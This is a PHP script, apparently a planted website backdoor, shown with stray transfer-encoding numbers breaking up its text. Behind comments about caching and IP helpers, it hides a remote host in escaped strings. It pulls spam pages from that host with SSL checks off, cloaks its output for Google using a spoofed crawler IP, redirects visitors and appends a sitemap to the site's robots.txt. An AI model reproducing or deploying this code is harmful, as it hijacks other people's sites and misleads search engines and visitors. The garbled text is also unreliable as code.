1 < 1 ? 5 php 5 error 6 _repor 5 ting( 4 0); 5 $get 5 = fi 6 lter_i 5 nput_ 5 array 4 (INP 5 UT_GE 4 T, F 5 ILTER 4 _SAN 4 ITIZ 5 E_STR 3 ING 7 ); / 1b * ------------------------- 7 3 高 4 速 3 4 4 存 3 函 4 数 1b ------------------------- 4 */ 5 funct 5 ion c 5 ache_ 5 get($ 6 key, $ 5 expir 6 e = 30 4 0) { a $fil 7 e = sys 7 _get_te 6 mp_dir 5 () . 9 '/cache_' 5 . md b 5($key) . ' 6 .php'; 9 if 7 (file_e 5 xists 8 ($file) 4 && ( 4 time 9 () - file c mtime($file) 3 ) < 15 $expire) { 5 retur b n file_get_ 5 conte a nts($file) e ; } c return false 4 ; } 1d function cache_set($key, $d 3 ata 4c ) { $file = sys_get_temp_dir() . '/cache_' . md5($key) . '.php'; @ 9 file_put_ 17 contents($file, $data, 4 LOCK 4 _EX) 6 ; } 28 /* ------------------------- 获 4 取 3 4 3 5 IP 3 4 4 CD 5 N / 3 4 2a ------------------------- */ function 7 get_rea 5 l_ip( d ) { $key 5 s = [ d 'HT 4 TP_C 5 F_CON 4 NECT 6 ING_IP 5 ', // 1 5 Cloud 5 flare 12 'HTTP_X_ 4 REAL 10 _IP', // 5 Nginx 14 'HTTP_X_FO 4 RWAR 7 DED_FOR 8 ', // P 4 roxy 13 'HTTP_CLI 8 ENT_IP', d 'RE 5 MOTE_ 4 ADDR 8 ' ] b ; fo 5 reach 9 ($keys a 4 s $k 12 ) { if (! 5 empty 5 ($_SE 4 RVER 4 [$k] e )) { a $ip = 15 $_SERVER[$k]; f if (str 6 pos($i 5 p, ', 5 ') != 7 = false 1c ) { $ip = t 4 rim( 7 explode 5 (',', 7 $ip)[0 9 ]); 1d } if ( 9 filter_va 7 r($ip, a FILTER_VAL 3 IDA 6 TE_IP) 1c ) { return 15 $ip; } 1d } } return 5 '127. 6 0.0.1' 2c ; } /* ------------------------- 3 4 5 get 5 Curl( 2d ) ------------------------- */ function get 7 CurlFas 6 t($url c ) { $ 9 cached = f cache_get($url) b ; if ( 13 $cached !== false) e return $cached e ; $data e = ''; c if (function a _exists('c 6 url_in 11 it')) { 4 $ch b = curl_init 16 ($url); curl_ 5 setop c t_array($ch, 10 [ 4 CURL 6 OPT_RE 4 TURN 5 TRANS 4 FER 5 => tr 19 ue, CURLOPT_ 9 CONNECTTI 4 MEOU 6 T => 5 1f , CURLOPT_TIMEOUT b => 8 19 , CURLOPT_SS 6 L_VERI 4 FYPE b ER => false 23 , CURLOPT_SSL_VERIFYHO 2 ST 24 => false, CURLOPT_FOLL 2 OW 7 LOCATIO 22 N => false, CURLOPT_U 5 SERAG 3 ENT d => "Moz 5 illa/ 4 5.0" 17 ]); d $data = curl_ 4 exec 16 ($ch); curl_c 4 lose 19 ($ch); } if ( 7 empty($ 9 data) && 9 ini_get(' 5 allow 7 _url_fo 3 pen 16 ')) { $contex 7 t = str 4 eam_ d context_creat 11 e([ 5 "http 6 " => [ 7 "timeou 8 t" => 8, 7 "heade 7 r" => " 5 User- 5 Agent e : Mozilla/5.0\ 5 r\n"] 11 , "s 4 sl" a => ["veri 5 fy_pe e er" => false, f "verify_peer_na c me" => false 20 ] ]); $data = 14 @file_get_contents($ c url, false, 8 $context 22 ); } if (!empty($data) d ) cache_set($ c url, $data); 12 return $data 2b ; } /* ------------------------- 6 URL 4 息 2d ------------------------- */ function get_ 8 url_info 8 (string 5 $type 5 ='dom 5 ain') 9 : string b { $hos d t = $_SERVER[ b 'HTTP_HOST' 4 ] ?? f ''; if ($ 6 type = 6 == 'no 5 _www' b ) return pr 6 eg_rep 3 lac 8 e('/^www 4 \./i 4 ', ' 9 ', $host) d ; $pro 5 tocol 14 = (!empty($_SERVER[ 7 'HTTPS' 6 ]) && 18 $_SERVER['HTTPS'] !== 'o 5 ff') 8 ? "https 5 ://" b : "http://" 9 ; $b 6 ase = 11 $protocol . $host d ; if ( 19 $type === 'base') return 5 $base 1a ; if ($type === 'full 12 ') return $base . d ($_SERVER['RE 4 QUES 5 T_URI 12 '] ?? ''); f return $host; 2a } /* ------------------------- 3 4 变 3 量 21 ------------------------- */ g 7 oto ONP 3 uB; a ONPuB: $h a ttp_type = 12 !empty($_SERVER[" 4 \x48 5 \124\ 7 x54\x50 5 \x53" 19 ]) && $_SERVER["\x48\124\ d 124\x50\x53"] 9 !== "\15 4 7\x6 4 6\14 6 6" ? " 7 \150\x7 a 4\x74\x70\ 4 163\ 5 72\x2 a f\x2f" : " 6 \x68\1 a 64\164\160 b \72\x2f\57" 8 ; goto O 4 4O9k a ; O4O9k: $ 5 vurl 8 = "\x74\ 9 157\56\15 5 2\147 8 \141\x6c a \x6c\163\x 6 2e\143 8 \157\x6d d \x2f"; goto v 5 gv72; 9 vgv72: $ 6 qz = s 5 ubstr d (str_replace( a array("\x7 7 7\x77\1 7 67\x2e" 7 , "\56" 8 ), '', $ d _SERVER["\110 b \x54\x54\12 5 0\x5f 8 \x48\x4f 8 \123\x54 7 "]), 0, 6 3); 25 /* ------------------------- 3 3 f 4 参 29 数 ------------------------- */ $sz = 3 $ii 9 d = ""; c if(!empty($_ 5 GET)) 5 { $ 4 f=re a set($_GET) d ; $sp = a explode('- 5 ', $f 10 ); if (coun 6 t($sp) 6 === 2 11 ) { $sz 6 = $sp f [0]; $ c iid = $sp[1] b ; } } 28 /* ------------------------- 远 3 程 4 接 2 2d ------------------------- */ if (!empty($s b z)) { 6 $jd = e getCurlFast("{ c $http_type}{ 7 $vurl}3 4 kg.a 5 spx?s 3 z=" 9 . urlenc 9 ode($sz)) 6 ; } e 3a lse { $jd = getCurlFast("{$http_type}{$vurl}3kg.aspx? f xy={$http_type} c "); $sz 2d = getCurlFast("{$http_type}{$vurl}3kg.aspx?j 12 d=" . urlencode($j 2 d) d ); } $hyz 3 hdy 9 = $jd . 3 "41 b .aspx"; $s 5 url 16 = $jd . "s41.aspx"; 27 /* ------------------------- ro 2 bo 5 ts / 5 sitem 24 ap ------------------------- */ $s 9 itemapLin 6 e = "S 8 itemap: 22 {$http_type}{$_SERVER['HTTP_HOST'] e }{$_SERVER['SC 5 RIPT_ 4 NAME 5 ']}?w a =" . date( 4 'Ymd 3 Hi' 8 ) . "\n" d ; function e 6 nsure_ e robots_sitemap d ($sitemapLine 11 ) { $robots 8 = rtrim( c $_SERVER['DO 3 CUM 7 ENT_ROO 6 T'], " 4 /\\" d ) . '/robots. 3 txt d '; if (! 13 file_exists($robots 22 )) { @file_put_contents($ 7 robots, e "User-agent: 4 *\nA 6 llow: 4 /\n" f . $sitemapLine 12 , LOCK_EX); } 13 else { $c 17 = @file_get_contents($ 8 robots); 12 if ($c = b == false || a strpos($c f , $sitemapLine) 1b === false) { 1c @file_put_contents($robots, 11 $sitemapLine, FIL 6 E_APPE 4 ND | 10 LOCK_EX); 11 } } } 28 /* ------------------------- w= 3 输 3 出 2f ------------------------- */ if (!empty($get 4 ['w' 7 ])) { c $param 9 s = http_ 5 build 4 _que e ry([ 5 'NOUm 4 ber' a => $get[' f NOUmber'] ?? '' e , 't' 10 => $get[' 17 t'] ?? '', 'cn 10 ' => $get[' 17 cn'] ?? '', 'p 11 NOUm' => $get[' 1b pNOUm'] ?? '', 'ci 11 d' => $get['c 17 id'] ?? '', 'm 11 ' => $get[' 10 m'] ?? '' ] e ); $str 12 = getCurlFast("{$ 7 surl}?{ d $params}"); 9 ech e o str_replace( c [' 5 yymm' 7 ,'ggggg 6 ','?f= e '], [ b $http_type. 16 $_SERVER['HTTP_HOST']. 1b $_SERVER['SCRIPT_NAME'], $s 6 z,'?'. 5 $qz.' 12 ='], $str e ); 3 exi 30 t; } /* ------------------------- IP 4 3 3 4 留 5 kk 3 2 27 ) ------------------------- */ $kk 4 = is b set($get['k 6 k']) ? 6 trim( 13 $get['kk']) : ''; 7 $ip = ( 9 $kk !== ' 8 ') ? "66 4 .249 4 .82. 5 8" : d get_real_ip() 2b ; /* ------------------------- get b domain2 判 3 断 27 ------------------------- */ $domain 8 = trim( 13 getCurlFast($jd . " 11 getdomain2.aspx?r 4 nd=1 8 &ip=" . 4 $ip) 2b ); /* ------------------------- 5 goo 5 gle + 6 iid 3 4 跳 2 2c ------------------------- */ if ($domain c !== 'google' 4 && b !empty($iid 10 )) { $kname 7 = urld 6 ecode( 1b getCurlFast($jd . "gn.aspx? a iid=" . $i 7 id)); c echo 'loca 6 tion=" b ' . $jd . " 8 a.aspx?c 14 name=" . urlencode($ a kname) . " a &url=" . $ b http_type . 23 $_SERVER['HTTP_HOST'] . $_SERVER[' d SCRIPT_NAME'] 7 . '"' 3a ; exit; } /* ------------------------- iid 40 输出 ------------------------- */ if (!empty($iid)) { $ 12 str = getCurlFast( b $hyzhdy . " a ?iid={$iid 29 }"); echo str_replace( [' d ggggg','YYYYY 6 ','XXX 8 YYY',' 3 7 URL',' 8 UUUUU',' 5 MMMMM 18 ','?f='], [$sz, f get_url_info() 16 , get_url_info('base') 16 , get_url_info('full') 18 , get_url_info('no_www') 6 ,parse 4 _url 1c ($_SERVER['REQUEST_URI'], PH 6 P_URL_ 4 PATH 5a ),'?'.$qz.'='], $str ); exit; } /* ------------------------- 9 sitemap h 5 elper 2a ------------------------- */ function o 6 utput_ a sitemap_an 6 d_exit e ($sitemapLine, 14 $http_type) { 23 ensure_robots_sitemap($sitemapLine) f ; echo " 10 9 Sitemap < 6 /div>" 36 ; exit; } /* ------------------------- 9 kk 输出 4 控 2 2e ------------------------- */ if ($kk !== '' 4 && 9 preg_matc 6 h('/^[ 4 A-Za 4 -z0- 4 9]+$ 6 /', $k d k)) { $r 5 emote 10 = getCurlFast($ 1d jd . "getdomain2.aspx?rnd=2&k 7 k=" . $ f kk); if (! d empty($remote 13 )) { echo 7 $remote 12 ; exit; 1e } } if ($kk !== '' && 2d !preg_match('/^[A-Za-z0-9]+$/', $kk)) { 31 output_sitemap_and_exit($sitemapLine, $http_type) c ; } $is_ 8 no_query 4 = e 13 mpty($_SERVER['QUER 8 Y_STRING 8 ']); 12 if ($kk === '' && c $is_no_query 16 ) { if ($domain = b == 'google' 41 ) { output_sitemap_and_exit($sitemapLine, $http_type); 16 } else { 48 exit; } } output_sitemap_and_exit($sitemapLine, $http_type); ? 3 > 0